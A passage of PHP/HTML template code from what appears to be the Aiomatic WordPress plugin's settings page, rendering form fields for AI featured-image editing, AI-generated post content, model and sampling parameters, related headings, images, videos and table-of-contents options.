(basd on keywords from image name and URL).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Default Featured Image List:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Spinner_Settings[url_image_list]" placeholder="Image URL List"><?php echo esc_textarea($url_image_list); ?></textarea> </div> </td></tr> <tr><td colspan="2"><hr/></td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The plugin will automatically edit the featured image of the post, using AI, based on the prompt you define in the settings.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b class="wpaiomatic-delete"><?php echo esc_html__("Enable Featured Image Editing:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="ai_featured_image_edit" name="aiomatic_Spinner_Settings[ai_featured_image_edit]" onchange="mainChanged2e();" > <option value="enabled"<?php if ($ai_featured_image_edit == "enabled") { echo " selected"; } ?>><?php echo esc_html__("Enabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="disabled"<?php if ($ai_featured_image_edit == "disabled") { echo " selected"; } ?>><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td></tr><tr class="hideMain2e"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the engine which will be used for image editing.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Featured Image Editing Engine:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="ai_featured_image_engine" name="aiomatic_Spinner_Settings[ai_featured_image_engine]" onchange="mainChangedImg();"> <option value="2"<?php if ($ai_featured_image_engine == "2") { echo " selected"; } if (!isset($aiomatic_Main_Settings['stability_app_id']) || trim($aiomatic_Main_Settings['stability_app_id']) == '') { echo ' disabled title="You need to add a Stability.ai API key for this feature to work"'; } ?>><?php echo esc_html__("Stability.AI", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td></tr><tr class="hideMain2e"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set an prompt command you want to send to the AI image editor. This command can be any given task or order, based on which, it will edit the featured image of the post. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). If you use Royalty Free Images as a source, you can also set their keywords here, if no keywords set, they will be automatically generated.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prompt To Send To The AI Image Editor:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Spinner_Settings[ai_image_command_edit]" placeholder="Please insert a command for the AI image editor"><?php echo esc_textarea($ai_image_command_edit); ?></textarea> </div> </td></tr><tr class="hideMain2e"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("How much influence the init_image has on the diffusion process. Values close to 1 will yield images very similar to the init_image while values close to 0 will yield images wildly different than the init_image. The behavior of this is meant to mirror DreamStudio's \"Image Strength\" slider. This parameter is just an alternate way to set step_schedule_start, which is done via the calculation 1 - image_strength. For example, passing in an Image Strength of 35% (0.35) would result in a step_schedule_start of 0.65.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Original Image Strength:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="0" max="1" step="0.01" id="image_strength" name="aiomatic_Spinner_Settings[image_strength]" class="cr_450" value="<?php echo esc_html($image_strength);?>" placeholder="Original image strength"> </td></tr> <tr><td> <h2><?php echo esc_html__("AI Content Completion Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The plugin will generate AI content, that will be prepended or appended to each post's content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b class="wpaiomatic-delete"><?php echo esc_html__("Add AI Generated Content:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="append_spintax" name="aiomatic_Spinner_Settings[append_spintax]" onchange="mainChanged3();" > <option value="append"<?php if ($append_spintax == "append") { echo " selected"; } ?>><?php echo esc_html__("Append To The End", 'aiomatic-automatic-ai-content-writer');?></option> <option value="preppend"<?php if ($append_spintax == "preppend") { echo " selected"; } ?>><?php echo esc_html__("Prepend To The Beginning", 'aiomatic-automatic-ai-content-writer');?></option> <option value="inside"<?php if ($append_spintax == "inside") { echo " selected"; } ?>><?php echo esc_html__("Inject Into Existing Content", 'aiomatic-automatic-ai-content-writer');?></option> <option value="disabled"<?php if ($append_spintax == "disabled") { echo " selected"; } ?>><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td></tr><tr class="hideMain3"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select where to add the AI generated content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Where To Add The AI Generated Content:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="append_location" name="aiomatic_Spinner_Settings[append_location]" > <option value="content"<?php if ($append_location == "content") { echo " selected"; } ?>><?php echo esc_html__("Post Content", 'aiomatic-automatic-ai-content-writer');?></option> <option value="title"<?php if ($append_location == "title") { echo " selected"; } ?>><?php echo esc_html__("Post Title", 'aiomatic-automatic-ai-content-writer');?></option> <option value="excerpt"<?php if ($append_location == "excerpt") { echo " selected"; } ?>><?php echo esc_html__("Post Excerpt", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td></tr> <tr class="hideMain3"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set an prompt command you want to send to the AI text generator. This command can be any given task or order, based on which, it will generate content for posts. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%first_content_paragraph_plain_text%%, %%last_content_paragraph_plain_text%%, %%first_content_paragraph%%, %%last_content_paragraph%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Text Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Spinner_Settings[ai_command]" placeholder="Please insert a command for the AI"><?php echo esc_textarea($ai_command); ?></textarea> </div> </td></tr> <tr class="hideMain3"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to be used. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td><select id="append_assistant_id" name="aiomatic_Spinner_Settings[append_assistant_id]" class="cr_width_full" onchange="assistantSelected('append_assistant_id', 'disableAppend');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if($append_assistant_id == '') { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if($append_assistant_id == $myassistant->ID) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr class="hideMain3"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model you want to use.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model To Use:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="model" name="aiomatic_Spinner_Settings[model]" <?php if($append_assistant_id != ''){echo ' disabled';}?> class="disableAppend" onchange="visionSelectedAI3();"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; if ($model == $modelx) { echo " selected"; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </div> </td></tr><tr class="hideMain3 hideVision3"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to use AI vision and send to the AI model also the Featured Image of the edited post. Note that the AI prompt might also be needed to be updated if you enable this feature.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable AI Vision:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="ai_vision_add" name="aiomatic_Spinner_Settings[ai_vision_add]"<?php if ($ai_vision_add == 'on') echo ' checked '; ?>> </td> </tr><tr class="hideMain3"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Add your additional static content to prepend the AI generated content. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Additional Text To Prepend To The AI Generated Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <textarea rows="1" cols="70" name="aiomatic_Spinner_Settings[preppend_add]" placeholder="<?php echo esc_html__("Your optional text to prepend", 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full"><?php echo esc_textarea($preppend_add);?></textarea> </td></tr><tr class="hideMain3"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Add your additional static content to append the AI generated content. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Additional Text To Append To The AI Generated Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <textarea rows="1" cols="70" name="aiomatic_Spinner_Settings[append_add]" placeholder="<?php echo esc_html__("Your optional text to append", 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full"><?php echo esc_textarea($append_add);?></textarea> </td></tr><tr class="hideMain3"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. Note that in this value the number of tokens sent to the API as an article prompt will also be counted. The maximum amount which can be set it 4000.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Total Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="1" step="1" max="128000" id="max_tokens" name="aiomatic_Spinner_Settings[max_tokens]" class="cr_450" value="<?php echo esc_html($max_tokens);?>" placeholder="Maximum Token Count To Spend on Each Request"> </td></tr><tr class="hideMain3"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of prompt API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set it 1000.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Prompt Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="1" step="1" max="128000" id="max_seed_tokens" name="aiomatic_Spinner_Settings[max_seed_tokens]" class="cr_450" value="<?php echo esc_html($max_seed_tokens);?>" placeholder="Maximum Prompt Token Count To Spend on Each Request"> </td></tr><tr class="hideMain3"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of result API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set it 2048.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Result Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="1" step="1" max="2048" id="max_result_tokens" name="aiomatic_Spinner_Settings[max_result_tokens]" class="cr_450" value="<?php echo esc_html($max_result_tokens);?>" placeholder="Maximum Result Token Count To Spend on Each Request"> </td></tr><tr class="hideMain3"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of continue API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set it 2048.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Continue Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="1" step="1" max="2048" id="max_continue_tokens" name="aiomatic_Spinner_Settings[max_continue_tokens]" class="cr_450" value="<?php echo esc_html($max_continue_tokens);?>" placeholder="Maximum Result Continue Count To Spend on Each Request"> </td></tr><tr class="hideMain3"><td colspan="2"> <h2><?php echo esc_html__("Advanced API Settings:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr><tr class="hideMain3"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Content Writer Temperature:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="0" step="0.01" max="2" id="temperature" name="aiomatic_Spinner_Settings[temperature]" class="cr_450" value="<?php echo esc_html($temperature);?>" placeholder="1"> </td></tr><tr class="hideMain3"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Content Writer Top_p:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="0" step="0.01" max="1" id="top_p" name="aiomatic_Spinner_Settings[top_p]" class="cr_450" value="<?php echo esc_html($top_p);?>" placeholder="1"> </td></tr><tr class="hideMain3"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Presence Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="-2" step="0.01" max="2" id="presence_penalty" name="aiomatic_Spinner_Settings[presence_penalty]" class="cr_450" value="<?php echo esc_html($presence_penalty);?>" placeholder="0"> </td></tr><tr class="hideMain3"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Frequency Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="-2" step="0.01" max="2" id="frequency_penalty" name="aiomatic_Spinner_Settings[frequency_penalty]" class="cr_450" value="<?php echo esc_html($frequency_penalty);?>" placeholder="0"> </td></tr><tr class="hideMain3"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Select the minimum number of characters that the content additional content should have. If the API returns content which has fewer characters than this number, another API call will be made, until this character limit is met. Please check about API rate limiting <a href='%s'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://beta.openai.com/docs/api-reference/introduction' ); ?> </div> </div> <b><?php echo esc_html__("Created Content Minimum Character Count:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="number" min="1" step="1" name="aiomatic_Spinner_Settings[min_char]" value="<?php echo esc_html($min_char);?>" placeholder="Please insert a minimum number of characters for posts" class="cr_width_full"> </div> </td></tr><tr class="hideMain3"><td colspan="2"> <h2><?php echo esc_html__("Rich Content Creation Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr class="hideMain3"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of related headings to add to the created post content. This feature will use the 'People Also Ask' feature from Google and Bing. By default, the Bing engine is scraped, if you want to enable also Google scraping, add a SerpAPI key in the plugin's 'Settings' menu -> 'SerpAPI API Key' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Related Headings to Add To The Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" name="aiomatic_Spinner_Settings[headings]" value="<?php echo esc_html($headings);?>" placeholder="Max heading count" class="cr_width_full"> </td> </tr> <tr class="hideMain3"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to be used. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td><select id="headings_assistant_id" name="aiomatic_Spinner_Settings[headings_assistant_id]" class="cr_width_full" onchange="assistantSelected('headings_assistant_id', 'disableHeadings');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if($headings_assistant_id == '') { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if($headings_assistant_id == $myassistant->ID) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr class="hideMain3"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for headings generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For The Headings Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select id="headings_model" name="aiomatic_Spinner_Settings[headings_model]" <?php if($headings_assistant_id != ''){echo ' disabled';}?> class="cr_width_full disableHeadings"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; if ($headings_model == $modelx) { echo " selected"; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hideMain3"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the prompt you will use when searching for related headings. You can use the following shortcodes: %%post_title%%, %%needed_heading_count%%. The same model will be used, as the one selected for content creation. If you leave this field blank, the default prompt will be used: 'Write %%needed_heading_count%% PAA related questions, each on a new line, for the title: %%post_title%%'", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Related Headings Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_Spinner_Settings[headings_ai_command]" placeholder="Write %%needed_heading_count%% PAA related questions, each on a new line, for the title: %%post_title%%" class="cr_width_full"><?php echo esc_textarea($headings_ai_command);?></textarea> </td> </tr> <tr class="hideMain3"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of related images to add to the created post content. This feature will use the 'Royalty Free Image' settings from the plugin's 'Settings' menu.'", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Related Images to Add To The Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" name="aiomatic_Spinner_Settings[images]" value="<?php echo esc_html($images);?>" placeholder="Max image count" class="cr_width_full"> </td> </tr> <tr class="hideMain3"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to replace the royalty free image with an AI generated image?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Image Source:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select id="enable_ai_images" name="aiomatic_Spinner_Settings[enable_ai_images]" class="cr_width_full"> <option value="1"<?php if ($enable_ai_images == '1' || $enable_ai_images == 'on') echo ' selected '; ?>><?php echo esc_html__("OpenAI/AiomaticAPI", 'aiomatic-automatic-ai-content-writer');?></option> <?php if (isset($aiomatic_Main_Settings['stability_app_id']) && trim($aiomatic_Main_Settings['stability_app_id']) != '') { ?> <option value="2"<?php if ($enable_ai_images == '2') echo ' selected '; ?>><?php echo esc_html__("Stability.AI", 'aiomatic-automatic-ai-content-writer');?></option> <?php } if (isset($aiomatic_Main_Settings['midjourney_app_id']) && trim($aiomatic_Main_Settings['midjourney_app_id']) != '') { ?> <option value="2"<?php if ($enable_ai_images == '3') echo ' selected '; ?>><?php echo esc_html__("Midjourney", 'aiomatic-automatic-ai-content-writer');?></option> <?php } ?> <option value="0"<?php if ($enable_ai_images == '0' || $enable_ai_images == '') echo ' selected '; ?>><?php echo esc_html__("Royalty Free", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hideMain3"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Add a related YouTube video to the created post content. This feature will require you to add at least one YouTube API key in the plugin's 'Settings' -> 'YouTube API Key List' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add A Related Video To The Post:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="videos" name="aiomatic_Spinner_Settings[videos]"<?php if ($videos == 'on') echo ' checked '; ?>> </td> </tr> <tr><td colspan="2"><hr/></td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The plugin will generate a table of contents for edited posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b class="wpaiomatic-delete"><?php echo esc_html__("Add Table Of Contents To Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="append_toc" name="aiomatic_Spinner_Settings[append_toc]" onchange="mainChanged9();" > <option value="preppend"<?php if ($append_toc == "preppend") { echo " selected"; } ?>><?php echo esc_html__("Prepend To The Beginning", 'aiomatic-automatic-ai-content-writer');?></option> <option value="append"<?php if ($append_toc == "append") { echo " selected"; } ?>><?php echo esc_html__("Append To The End", 'aiomatic-automatic-ai-content-writer');?></option> <option value="heading"<?php if ($append_toc == "heading") { echo " selected"; } ?>><?php echo esc_html__("Before First Heading", 'aiomatic-automatic-ai-content-writer');?></option> <option value="heading2"<?php if ($append_toc == "heading2") { echo " selected"; } ?>><?php echo esc_html__("After First Heading", 'aiomatic-automatic-ai-content-writer');?></option> <option value="disabled"<?php if (empty($append_toc) || $append_toc == "disabled") { echo " selected"; } ?>><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td></tr> <tr class="hideMain9"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select when do you want to show the ToC in edited posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("When To Show The Table Of Contents:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="when_toc" name="aiomatic_Spinner_Settings[when_toc]" > <option value="2"<?php if ($when_toc == "2") { echo " selected"; } ?>><?php echo esc_html__("2 Or More Headings", 'aiomatic-automatic-ai-content-writer');?></option> <option value="3"<?php if ($when_toc == "3") { echo " selected"; } ?>><?php echo esc_html__("3 Or More Headings", 'aiomatic-automatic-ai-content-writer');?></option> <option value="4"<?php if (empty($when_toc) || $when_toc == "4") { echo " selected"; } ?>><?php echo esc_html__("4 Or More Headings", 'aiomatic-automatic-ai-content-writer');?></option> <option value="5"<?php if ($when_toc == "5") { echo " selected"; } ?>><?php echo esc_html__("5 Or More Headings", 'aiomatic-automatic-ai-content-writer');?></option> <option value="6"<?php if ($when_toc 